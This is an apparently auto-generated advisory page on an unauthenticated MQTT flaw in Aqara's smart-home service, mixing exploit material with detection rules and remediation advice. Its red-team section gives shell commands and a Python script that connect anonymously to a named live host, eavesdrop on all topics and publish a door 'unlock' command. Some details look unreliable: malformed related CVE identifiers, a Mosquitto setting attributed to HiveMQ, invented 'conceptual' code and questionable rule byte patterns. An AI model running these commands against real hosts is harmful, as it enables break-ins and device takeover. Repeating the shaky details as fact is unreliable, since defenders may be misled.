CVE-2026-50085
Executive Summary
CVE-2026-50085 is a critical vulnerability in the Aqara Board service (op-test.aqara.com) that allows unauthenticated remote attackers to send arbitrary MQTT command payloads to the platform's HiveMQ broker. This flaw, classified as CWE-306 (Missing Authentication for Critical Function), enables an attacker to inject malicious MQTT messages without any credentials, potentially leading to device takeover when chained with other vulnerabilities (CVE-2026-50082, CVE-50083, CVE-50084). The CVSS score of 8.6 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the severe impact on integrity and availability, with limited confidentiality impact.
The Aqara ecosystem is a smart home IoT platform. This vulnerability exposes the MQTT broker, which is the central messaging backbone for device control and telemetry. An attacker can send arbitrary commands to any device connected to the broker, including locks, sensors, and cameras. The lack of authentication on the MQTT endpoint means that any internet-facing instance of the Aqara Board service is at risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a network service vulnerability in the Aqara Board service. However, the MQTT broker (HiveMQ) is a third-party component. The risk is that the Aqara platform has misconfigured the HiveMQ broker to accept unauthenticated connections. This is a supply chain configuration issue, not a package dependency issue.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
- Base Score: 8.6 (High)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): Low (L) – Limited information disclosure (e.g., device status).
- Integrity (I): High (H) – Full control over device commands.
- Availability (A): Low (L) – Potential to disrupt device operation.
Threat Level: High. The combination of network accessibility, no authentication, and high integrity impact makes this a critical threat for Aqara device owners. An attacker can lock/unlock doors, disable alarms, or manipulate sensor data.
Deep Dive & Mechanics
The Aqara Board service (op-test.aqara.com) exposes an MQTT endpoint that accepts connections without any authentication mechanism. MQTT is a publish/subscribe protocol where clients can publish messages to topics and subscribe to topics. In a properly secured deployment, the MQTT broker requires authentication (username/password or certificate) and authorization (topic-level access control).
In this vulnerability, the broker (HiveMQ) is configured to allow anonymous connections. The service forwards any received MQTT payload directly to the broker, which then distributes it to all subscribed devices. An attacker can craft MQTT packets to:
- Publish to device control topics (e.g.,
aqara/device/12345/command) to send arbitrary commands. - Subscribe to device telemetry topics (e.g.,
aqara/device/12345/status) to eavesdrop on device state. - Publish to system topics to trigger firmware updates or reset operations.
The vulnerability is compounded by the fact that the Aqara Board service itself does not validate the source of the MQTT messages. It acts as a transparent proxy, forwarding any payload it receives. This is a classic case of missing authentication for a critical function (CWE-306).
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable behavior versus expected secure behavior.
Vulnerable Code (Conceptual):
# Vulnerable MQTT handler in Aqara Board service
def handle_mqtt_message(client, userdata, message):
# No authentication check
broker.publish(message.topic, message.payload)
Patched Code (Expected):
# Patched MQTT handler with authentication
def handle_mqtt_message(client, userdata, message):
if not authenticate_client(client):
log.warning("Unauthenticated MQTT message rejected")
return
if not authorize_topic(client, message.topic):
log.warning("Unauthorized topic access denied")
return
broker.publish(message.topic, message.payload)
The patch would require implementing client authentication (e.g., username/password or TLS client certificates) and topic-level access control lists (ACLs) on the HiveMQ broker.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Set up a local Aqara Board service instance (if available) or use the public op-test.aqara.com endpoint.
- Install an MQTT client (e.g.,
mosquitto_puborpaho-mqtt). - Identify device topics through reconnaissance (e.g., subscribing to
#wildcard).
Exploitation Steps:
- Connect to the MQTT broker without credentials:
mosquitto_sub -h op-test.aqara.com -p 1883 -t "#" -v - Observe device topics and payloads.
- Send a malicious command to a device:
mosquitto_pub -h op-test.aqara.com -p 1883 -t "aqara/device/12345/command" -m '{"action":"unlock"}' - Chain with other CVEs for full takeover (e.g., CVE-2026-50082 for device discovery).
Exploit Code (Python):
import paho.mqtt.client as mqtt
def exploit():
client = mqtt.Client()
client.connect("op-test.aqara.com", 1883, 60)
# Subscribe to all topics to discover devices
client.subscribe("#")
# Publish a command to a known device
client.publish("aqara/device/12345/command", '{"action":"unlock"}')
client.loop_forever()
if __name__ == "__main__":
exploit()
Blue Team
Detection Steps:
- Monitor MQTT broker logs for anonymous connections.
- Set up network monitoring for MQTT traffic on port 1883.
- Implement anomaly detection for unusual MQTT topics or payloads.
- Use the Sigma and Suricata rules provided in Detection Engineering.
Mitigation Steps:
- Immediately restrict access to the MQTT broker to trusted IPs only.
- Enable authentication on the HiveMQ broker (username/password or TLS).
- Implement topic-level ACLs to limit device control to authorized clients.
- Update the Aqara Board service to validate the source of MQTT messages.
Indicators of Compromise (IOCs)
- Network IOCs:
- MQTT connections to
op-test.aqara.comon port 1883 without TLS. - MQTT packets with topics like
aqara/device/*/commandfrom unknown IPs. - High volume of MQTT publish messages to device control topics.
- MQTT connections to
- Host IOCs:
- Unauthorized MQTT client processes on the Aqara Board server.
- Log entries showing anonymous MQTT connections.
- File IOCs:
- MQTT broker configuration files with
allow_anonymous true(HiveMQ config). - Log files containing
anonymousorunauthenticatedconnection messages.
- MQTT broker configuration files with
Detection Engineering
YARA Rule
rule CVE_2026_50085_MQTT_Exploit {
meta:
description = "Detects MQTT packets targeting Aqara Board service without authentication"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-50085"
strings:
$mqtt_connect = { 10 ?? 00 04 4D 51 54 54 04 } // MQTT CONNECT packet with protocol level 4
$aqara_topic = /aqara\/device\/[0-9]+\/command/
$anonymous_flag = { 00 00 } // No username/password in CONNECT
condition:
$mqtt_connect and $aqara_topic and $anonymous_flag
}
Sigma Rule
title: Unauthenticated MQTT Connection to Aqara Board Service
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects MQTT connections to op-test.aqara.com without authentication
author: Valters IT
date: 2026-01-01
logsource:
category: network_connection
product: mqtt
detection:
selection:
destination_hostname: "op-test.aqara.com"
destination_port: 1883
mqtt_connect_flags: "0x00" # No username/password flag
condition: selection
falsepositives:
- Legitimate testing environments
level: high
tags:
- attack.t1190
- cve.2026.50085
Suricata Rule
alert tcp any any -> any 1883 (msg:"CVE-2026-50085 Unauthenticated MQTT to Aqara Board"; flow:to_server; content:"|10|"; depth:1; content:"|00 04 4D 51 54 54 04|"; distance:0; within:8; content:"|00 00|"; distance:0; within:2; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable anonymous access on the HiveMQ broker by setting
allow_anonymous falsein the configuration file. - Restrict network access to the MQTT broker using firewall rules (allow only trusted IPs).
- Enable TLS for MQTT connections to encrypt traffic and prevent eavesdropping.
Long-term Fixes:
- Implement authentication on the Aqara Board service (e.g., API keys, OAuth2).
- Add authorization checks for each MQTT topic (e.g., device-specific tokens).
- Monitor for patches from Aqara and apply them immediately.
- Conduct a security audit of the entire Aqara platform to identify similar misconfigurations.
Workarounds:
- If the service cannot be patched, consider replacing the Aqara Board service with a custom proxy that enforces authentication.
- Use a VPN to access the Aqara Board service, limiting exposure to the internet.
Valters IT